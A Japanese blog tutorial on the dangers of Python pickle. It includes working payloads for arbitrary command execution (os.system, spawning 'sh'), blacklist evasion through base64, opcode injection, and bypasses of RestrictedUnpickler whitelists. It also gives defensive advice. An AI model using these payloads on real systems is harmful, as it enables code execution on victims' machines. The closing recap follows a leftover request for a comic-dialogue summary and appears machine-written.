🥒

危険なpickleの作り方とその防ぎ方

2024/12/09に公開

脆弱エンジニアの Advent Calendar 2024 9日目参加記事です。

Pickleとは?

pickleとは、pythonオブジェクトをバイト列として保存(シリアライズ)しておくための形式のひとつです。

次の簡単な例を見てみましょう。

example1_serialize.py
import pickle

payload = {'key1': 0, 'key2': [True, (1,2)]}

pkl = pickle.dumps(payload)
print(pkl) # b'\x80\x03}q\x00(X\x04\x00\x00\x00key1q\x01K\x00X\x04\x00\x00\x00key2q\x02]q\x03(\x88K\x01K\x02\x86q\x04eu.'
# .hex()は、バイト列を16進数の文字列として表現する
print(pkl.hex()) # 80037d71002858040000006b65793171014b0058040000006b65793271025d710328884b014b0286710465752e

pickle.dumps関数は、オブジェクトをpickleに変換する関数です。結果はバイト列であることが確認できます。

次に、pickle.loadsを使ってpickleをオブジェクトに戻します。(デシリアライズ)

example1_deserialize.py
import pickle

payload = bytes.fromhex("80037d71002858040000006b65793171014b0058040000006b65793271025d710328884b014b0286710465752e")
result = pickle.loads(payload)
print(result) # {'key1': 0, 'key2': [True, (1, 2)]}

このように、pythonの基本的なデータ型であればバイト列として変換しておくことができます。

pickleの危険性は、デシリアライズ時に任意コード実行が可能であるという点です。次の例を見ましょう。

example2_serialize.py
import pickle
import os

class Evil:
    def __reduce__(self):
        return (os.system, ('cat /etc/passwd',))

obj = Evil()
print(pickle.dumps(obj).hex()) # 800363706f7369780a73797374656d0a7100580f000000636174202f6574632f70617373776471018571025271032e
example2_deserialize.py
payload = bytes.fromhex("800363706f7369780a73797374656d0a7100580f000000636174202f6574632f70617373776471018571025271032e")
# pickle.loads()は、オブジェクトを復元する過程で__reduce__で定義された関数を実行する。
pickle.loads(payload) # cat /etc/passwdが実行される

このように任意コードが実行されることは、公式ドキュメントにも注意喚起されています。

一般的な話をすれば、

  • pickleを使わなくて良いなら使わない
  • 使う場合は、かならず信頼できるデータのみを利用する

という使い方をしなければなりません。この記事では、危険性のあるpickleを判定する方法について少しだけ論じますが、必ず危険を避けられると保証するわけではないのでご注意ください。

ツールの紹介

説明にあたって必要となるpickleの解析・作成ツールを紹介します。

pickletools

公式で用意されている、pickle解析用のツールです。pickletools.disで、pickleのバイト列をディスアセンブルできます。

example1_disassemble.py
import pickletools

payload = bytes.fromhex("80037d71002858040000006b65793171014b0058040000006b65793271025d710328884b014b0286710465752e")
pickletools.dis(payload)
実行結果

ディスアセンブル結果の意味については後に説明します

    0: \x80 PROTO      3
    2: }    EMPTY_DICT
    3: q    BINPUT     0
    5: (    MARK
    6: X        BINUNICODE 'key1'
   15: q        BINPUT     1
   17: K        BININT1    0
   19: X        BINUNICODE 'key2'
   28: q        BINPUT     2
   30: ]        EMPTY_LIST
   31: q        BINPUT     3
   33: (        MARK
   34: \x88         NEWTRUE
   35: K            BININT1    1
   37: K            BININT1    2
   39: \x86         TUPLE2
   40: q            BINPUT     4
   42: e            APPENDS    (MARK at 33)
   43: u        SETITEMS   (MARK at 5)
   44: .    STOP
highest protocol among opcodes = 2

Pickora

pythonライクなコードをpickleに変換してくれるツールです。

pickora_example.py
import pickle
from pickora import Compiler

code = """
from builtins import print
print('hello world!')
"""
compiler = Compiler()
bts = compiler.compile(code)
pickle.loads(bts) # hello world!

pickleのバイト列の仕様を理解する

オペコードとオペランド

pickleは、オペコード(実行する命令)を表す1バイトと、それに続くオペランド(オペコードに付随するデータ)から構成されます。最も簡単な例を見てみましょう。

example2.py
import pickle
import pickletools

pkl = pickle.dumps("hello")
print(pkl.hex())
pickletools.dis(pkl)

16進数

80 04 95 09 00 00 00 00 00 00 00 8c 05 68 65 6c 6c 6f 94 2e

ディスアセンブル結果

    0: \x80 PROTO      4
    2: \x95 FRAME      9
   11: \x8c SHORT_BINUNICODE 'hello'
   18: \x94 MEMOIZE    (as 0)
   19: .    STOP
highest protocol among opcodes = 4

これを丁寧に説明すると次のようになります。

  • 0バイト目(80)はオペコードがPROTOであることを示しており、PROTOはその次の1バイトがバージョン番号(今回は4)であることを示しています。
  • 2バイト目(95)はオペコードFRAMEを表しており、フレームと呼ばれるスコープの開始を表します。次の8バイトがそのフレームの長さ(リトルエンディアン)を表しています。
  • 11バイト目(8c)は、オペコードSHORT_BINUNICODEを表しており、これは短いユニコード文字列を格納する形式であることを示します。その次の1バイト(05)がその文字の長さであり、それに続く5バイト(68 65 6c 6c 6f)がhelloの文字コードです。
  • 19バイト目(2e)はオペコードSTOPを表しており、pickleが終了することを示します。

スタック

pickleはスタックベースのメモリを持っており、一部のオペコードはスタックの値の参照や、スタック操作を行います。次の例を見てみましょう。

example3.py
import pickle
import pickletools

pkl = pickle.dumps(["foo", 1])
pkl = pickletools.optimize(pkl) # 説明のため冗長なオペコードを削除
pickletools.dis(pkl)

結果

    0: \x80 PROTO      4
    2: \x95 FRAME      11
   11: ]    EMPTY_LIST
   12: (    MARK
   13: \x8c     SHORT_BINUNICODE 'foo'
   18: K        BININT1    1
   20: e        APPENDS    (MARK at 12)
   21: .    STOP
  • EMPTY_DICTは、スタックにからの辞書型のオブジェクトをプッシュします。
  • MARKは、マークオブジェクトという特別なオブジェクトをプッシュします。
  • SHORT_BINUNICODEが文字列'foo'をプッシュします。
  • BININT1が数字の1をプッシュします。
  • APPENDSは、マークオブジェクトまで値をポップし、さらにもう一度ポップした値(これがリスト型であると仮定する)に追加します。
  • 最終的に、スタックトップがpickle.loadsの返り値です。したがって、今回はAPPENDSにより値が追加されたリストが返り値となります。

最後に、任意コード実行を行うpickleを分析してみましょう。

example2_disassemble.py
import pickle
import os
import pickletools

class Evil:
    def __reduce__(self):
        return (os.system, ('cat /etc/passwd',))

obj = Evil()
pkl = pickle.dumps(obj)
pkl = pickletools.optimize(pkl) # 説明のため冗長なオペコードを削除

pickletools.dis(pkl)

実行結果

    0: \x80 PROTO      4
    2: \x95 FRAME      36
   11: \x8c SHORT_BINUNICODE 'posix'
   18: \x8c SHORT_BINUNICODE 'system'
   26: \x93 STACK_GLOBAL
   27: \x8c SHORT_BINUNICODE 'cat /etc/passwd'
   44: \x85 TUPLE1
   45: R    REDUCE
   46: .    STOP
  • SHORT_BINUNICODEが文字列'posix'をプッシュします。
  • SHORT_BINUNICODEが文字列'system'をプッシュします。
  • STACK_GLOBALは、スタック二番目の名前のモジュールからスタックトップの名前の要素を取得し、それをスタックにプッシュします。今回は__import__('posix').systemをスタックトップにプッシュします。
    • os.systemはlinux上ではposix.systemと一致します。
  • SHORT_BINUNICODEが文字列'cat /etc/passwd'をプッシュします。
  • TUPLE1がスタックからポップし、その値のみを含むタプルをプッシュします。
  • REDUCEは、スタックトップのタプルを引数としてスタック二番目の関数を実行します。今回は、関数posix.systemに引数'cat /etc/passwd'で実行します。

オペコードの仕様は、公式ドキュメントやPEP(3073154574)で言及されているものもありますが、その多くは、直接ソースコードを読みに行かないとわからないようになっています。

危険なケース

一見すると安全そうなpickleの利用方法であっても、実は危険なケースがあります。

ケース1: バイト列に特定の文字列が含まれているかで判断する

任意コード実行を引き起こすバイト列をバイト列として評価すると次のようになります。

b'\x80\x04\x95$\x00\x00\x00\x00\x00\x00\x00\x8c\x05posix\x8c\x06system\x93\x8c\x0fcat /etc/passwd\x85R.'

したがって、例えばb'posix' in pklのように、怪しい文字列が出現しないかで危険かどうかを判別できるかもしれない、と考えるかもしれません。次のようなコードを考えてみましょう。

chal1.py
import pickle

# 任意コード実行に使用される可能性のあるモジュール名を禁止
blacklist = [
    'posix', 
    'os',
    'subprocess',
    ...
]

pkl = open('dangerous.pkl', 'rb').read()

assert all(word.encode() not in pkl for word in blacklist)
pickle.loads(pkl)

しかし、これではSTACK_GLOBALの仕様を利用してos.systemをインポートできてしまいます。STACK_GLOBALは、スタックされた文字列を利用してモジュールをインポートします。したがって、動的に名前が組み立てられるため、文字列単位の検証では不十分です。モジュール名や関数名をエンコード・隠蔽することで、ブラックリストによる検証を回避できます。

ここでは、base64エンコードを利用して文字列を隠してみます。

import pickora
code = """
from base64 import b64decode
from codecs import decode
module_name = decode(b64decode(b'b3M=')) # 'os'
func_name = decode(b64decode(b'c3lzdGVt')) # 'system'
system = STACK_GLOBAL(module_name, func_name)
system('cat /etc/passwd')
"""
pkl = pickora.Compiler(extended=True, optimize=True).compile(code)

assert all(word.encode() not in pkl for word in blacklist)
ディスアセンブル結果
    0: \x80 PROTO      4
    2: \x95 FRAME      101
   11: \x8c SHORT_BINUNICODE 'base64'
   19: \x8c SHORT_BINUNICODE 'b64decode'
   30: \x93 STACK_GLOBAL
   31: \x94 MEMOIZE    (as 0)
   32: \x8c SHORT_BINUNICODE 'codecs'
   40: \x8c SHORT_BINUNICODE 'decode'
   48: \x93 STACK_GLOBAL
   49: \x94 MEMOIZE    (as 1)
   50: h    BINGET     1
   52: h    BINGET     0
   54: C    SHORT_BINBYTES b'b3M='
   60: \x85 TUPLE1
   61: R    REDUCE
   62: \x85 TUPLE1
   63: R    REDUCE
   64: \x94 MEMOIZE    (as 2)
   65: h    BINGET     1
   67: h    BINGET     0
   69: C    SHORT_BINBYTES b'c3lzdGVt'
   79: \x85 TUPLE1
   80: R    REDUCE
   81: \x85 TUPLE1
   82: R    REDUCE
   83: \x94 MEMOIZE    (as 3)
   84: h    BINGET     2
   86: h    BINGET     3
   88: \x93 STACK_GLOBAL
   89: \x94 MEMOIZE    (as 4)
   90: h    BINGET     4
   92: \x8c SHORT_BINUNICODE 'cat /etc/passwd'
  109: \x85 TUPLE1
  110: R    REDUCE
  111: .    STOP

ケース2: インジェクション

ユーザーの入力を利用し、pickleのバイト列を生のバイトのまま加工する場合、加工の方法によってはインジェクションが可能な場合があります。したがってそのような使用方法は避けるべきです。

インジェクションの方法はケースバイケースですが、ここでは次のような例を見てみます。

chal2.py
import pickle
import pickletools
from struct import pack


string = pickle.STRING + b"'%s'\n"
userinput = ...
string = string % userinput.encode()

pkl = (
    pickle.PROTO + pack('b', 4) +
    pickle.FRAME + pack('<Q', len(string) + 1) +
    string +
    pickle.STOP
)
pickletools.dis(pkl)
print(pickle.loads(pkl))

ここで、STRINGオペコードの実装を確認してみます。L1476

pickle.py
    def load_string(self):
        data = self.readline()[:-1]
        # Strip outermost quotes
        if len(data) >= 2 and data[0] == data[-1] and data[0] in b'"\'':
            data = data[1:-1]
        else:
            raise UnpicklingError("the STRING opcode argument must be quoted")
        self.append(self._decode_string(codecs.escape_decode(data)[0]))
    dispatch[STRING[0]] = load_string

STRINGオペコードでは、次の形式が求められます。

  • 次の改行までをdataとする。
  • dataの最初と最後が両方'であるか、両方"である。
    両端の'または"を取り除いた部分が、結果の文字列としてスタックにプッシュされます。

ここでは、userinputに改行を含む任意のASCII文字列を入力できると仮定します。入力の途中に'\nを入れることによって、STRINGの判定を終わらせることで、任意のバイトコードをインジェクション可能です。

ここでは、ASCII文字しか利用できないため、\x93に対応するSTACK_GLOBALや、\x85に対応するTUPLE1は利用できません。代わりに、tであるTUPLEとcであるGLOBALを利用します。

userinput = (
    b"'\n" +
    pickle.GLOBAL + b"os\nsystem\n" + # モジュール名[改行]メソッド名[改行]の形式で、モジュールをインポート
    pickle.MARK +
    pickle.STRING + b"'cat /etc/passwd'\n" +
    pickle.TUPLE +                    # スタックのトップから、最初のマークオブジェクトまでをタプルにする
    pickle.REDUCE 
).decode()
print(userinput)

"""
'
cos
system
(S'cat /etc/passwd'
tR.
"""

RestrictedUnpicklerの設計とバイパス方法

RestrictedUnpicklerについて

安全なpickleの利用方法として、RestrictedUnpicklerが提案されています。これは、公式ドキュメントにも記載されている方法です。

RestrictedUnpicklerとは、pickleをオブジェクトに変換するためのクラスUnpicklerを継承して、find_classメソッドをオーバーライドすることで、利用できるモジュールや関数を制限できます。公式ドキュメントの例を見てみましょう。

import builtins
import io
import pickle

safe_builtins = {
    'range',
    'complex',
    'set',
    'frozenset',
    'slice',
}

class RestrictedUnpickler(pickle.Unpickler):

    def find_class(self, module, name):
        # Only allow safe classes from builtins.
        if module == "builtins" and name in safe_builtins:
            return getattr(builtins, name)
        # Forbid everything else.
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
                                     (module, name))

def restricted_loads(s):
    """Helper function analogous to pickle.loads()."""
    return RestrictedUnpickler(io.BytesIO(s)).load()

上記では、builtinsの一部のメソッドのみをロードできるようになっています。pickleではINSTGLOBALSTACK_GLOBALのいずれかのオペコードでimportが行われますが、それらはすべて内部でfind_classを利用します。

モジュールなしでpickleができないこと

pickleはモジュールを利用しない場合、次のことができません。

  • メンバ変数やメソッドへの参照
    • 代替メソッド: from builtins import getattr
  • 四則演算などの演算
    • 代替メソッド: from operator import addなど
  • if文のような条件分岐やfor文のようなループ処理
  • 関数の定義
    • 代替メソッド: from functools import partialなど

したがって、利用できるモジュールや関数を制限することで、pickleで可能な操作は大幅に制限されます。逆にいえば、許可するべきモジュールや関数についてはかなり慎重に選ばなければなりません。このような制限は必ずホワイトリストで行うべきです。

特に危険なimportについては、pickleの危険検知ライブラリのficklingのリストが役に立ちそうです。

以下に、一見すると安全に見えるが悪用が可能な関数をいくつか紹介します。

制限するべき関数1: builtins.getattroperator.attrgetter

前回の記事にあるとおり、importを行わなくても任意コードを実行することは可能です。pickleではデフォルトで「メンバ変数やメソッドへの参照」ができないため、記事のコードは動作しませんが、それが許可された環境では任意コード実行可能です。

chal_getattr
import builtins
import io
import pickle
import pickora

class RestrictedUnpickler(pickle.Unpickler):

    def find_class(self, module, name):
        if module == "builtins" and name == 'getattr':
            return getattr(builtins, name)
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
                                     (module, name))

def restricted_loads(s):
    return RestrictedUnpickler(io.BytesIO(s)).load()

code = """
[].__class__.__class__.__subclasses__([].__class__.__class__).__iter__().__next__().register.__builtins__.__getitem__('__import__')('os').system('sh')
"""
pkl = pickora.Compiler(extended=True, optimize=True).compile(code)
print(restricted_loads(pkl))

制限するべき関数2: operator.methodcaller

operator.methodcallerは次のような動作をする関数です。

operator.methodcaller("encode", "utf-8")("foobar")
# これは以下と同義
# "foobar".encode("utf-8")

これと__getattribute__関数を利用することで、実質的にgetattrと同じようなことができます。以下はすべて同義です。

os.system
os.__getattribute__('system')
operator.methodcaller("__getattribute__", "system")(os)

ただし、クラスに対して__getattribute__を直接利用できません。これは、__getattribute__はクラスメソッドとして扱われるためです。

str.__getattribute__('__class__')
# Traceback (most recent call last):
#   File "<stdin>", line 1, in <module>
# TypeError: expected 1 argument, got 0

したがって、__class__を利用しないRCEコードであれば、operator.methodcallerのみでRCEを行うことができます。

chal_methodcaller.py
import io
import pickle
import pickora
from operator import methodcaller


class RestrictedUnpickler(pickle.Unpickler):

    def find_class(self, module, name):
        if module == "operator" and name == 'methodcaller':
            return methodcaller
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
                                     (module, name))

def restricted_loads(s):
    return RestrictedUnpickler(io.BytesIO(s)).load()

# 以下は次と同義
# [].__reduce_ex__(4).__iter__().__next__().__builtins__.__getitem__('__import__')('os').system

code = """
from operator import methodcaller
methodcaller('__getattribute__', 'system')(methodcaller('__getattribute__', '__getitem__')(methodcaller('__getattribute__', '__builtins__')(methodcaller('__getattribute__', '__next__')(methodcaller('__getattribute__', '__iter__')(methodcaller('__getattribute__', '__reduce_ex__')([])(4))())()))('__import__')('os'))('sh')
"""

pkl = pickora.Compiler(extended=True, optimize=True).compile(code)
print(restricted_loads(pkl))

制限するべき関数3: __から始まる関数

注意すべき点として、デフォルトでは__から始まる関数もimportできてしまうということです。これらの関数はいずれも危険な動作を引き起こす可能性が高いため、制限対象とすべきです。

  • 例1: __getattribute__
    __getattribute__がimportできる場合、importが禁止されているメソッドを実質的にimportができます。
    以下は、禁止されたbuiltins.printを実質的に利用する方法です。
    chal_un_getattribute.py
    import builtins
    import io
    import pickle
    import pickora
    
    
    class RestrictedUnpickler(pickle.Unpickler):
    
        def find_class(self, module, name):
            if module == "builtins" and name != 'print':
                return getattr(builtins, name)
            raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
                                         (module, name))
    
    def restricted_loads(s):
        return RestrictedUnpickler(io.BytesIO(s)).load()
    
    # 以下は次と同義
    # print('foobar')
    code = """
    from builtins import __getattribute__
    __getattribute__('print')('foobar')
    """
    
    pkl = pickora.Compiler(extended=True, optimize=True).compile(code)
    restricted_loads(pkl)
    
  • 例2: __dict__

まとめ

これまでの記事の締めとしてのまとめを書いてください。ただし、二人の漫才師の掛け合いの形式で行ってください。

ツッコミ役(A):
「というわけで、今回は危険なpickleの話をしてきましたけど、いかがでした?」

ボケ役(B):
「いやー、pickleって食べ物かと思ってたけど、どうやらデジタルな漬物みたいなもんやな!」

A:
「誰が漬物やねん!確かにデータを漬け込むみたいなとこはあるけど、任意コード実行とか漬物にしては物騒すぎるやろ!」

B:
「でもさ、RestrictedUnpicklerってのがあるんやろ?それで安心やん!」

A:
「いや、それが安心とは限らんのよ!ブラックリストじゃなくてホワイトリストで制限しても、getattrとかmethodcallerみたいなやつが裏口みたいに潜り込んでくるんや!」

B:
「えっ、じゃあ結局どうすればええの?」

A:
「簡単や。pickleは信頼できるデータでしか使わん
 それと、もし使うなら、署名とかハッシュで改竄されてないかチェックすることも大事や。」

B:
「じゃあ、pickle使わんほうがええってこと?」

A:
「うん!JSONとかProtobufとか、より安全なフォーマットを使うのが一番や!pickleは便利やけど、危険も多いからな。」

B:
「じゃあ今回の教訓は、『漬物は安全に漬けよう!』ってことやな!」

A:
「いや、だから誰が漬物やねん!というわけで、みなさんもpickleの取り扱いには気をつけて!」

B:
「最後はちゃんと冷蔵庫に入れてね~!」

A:
「せやから漬物ちゃう言うてるやろ!」

(幕)

参考文献

Discussion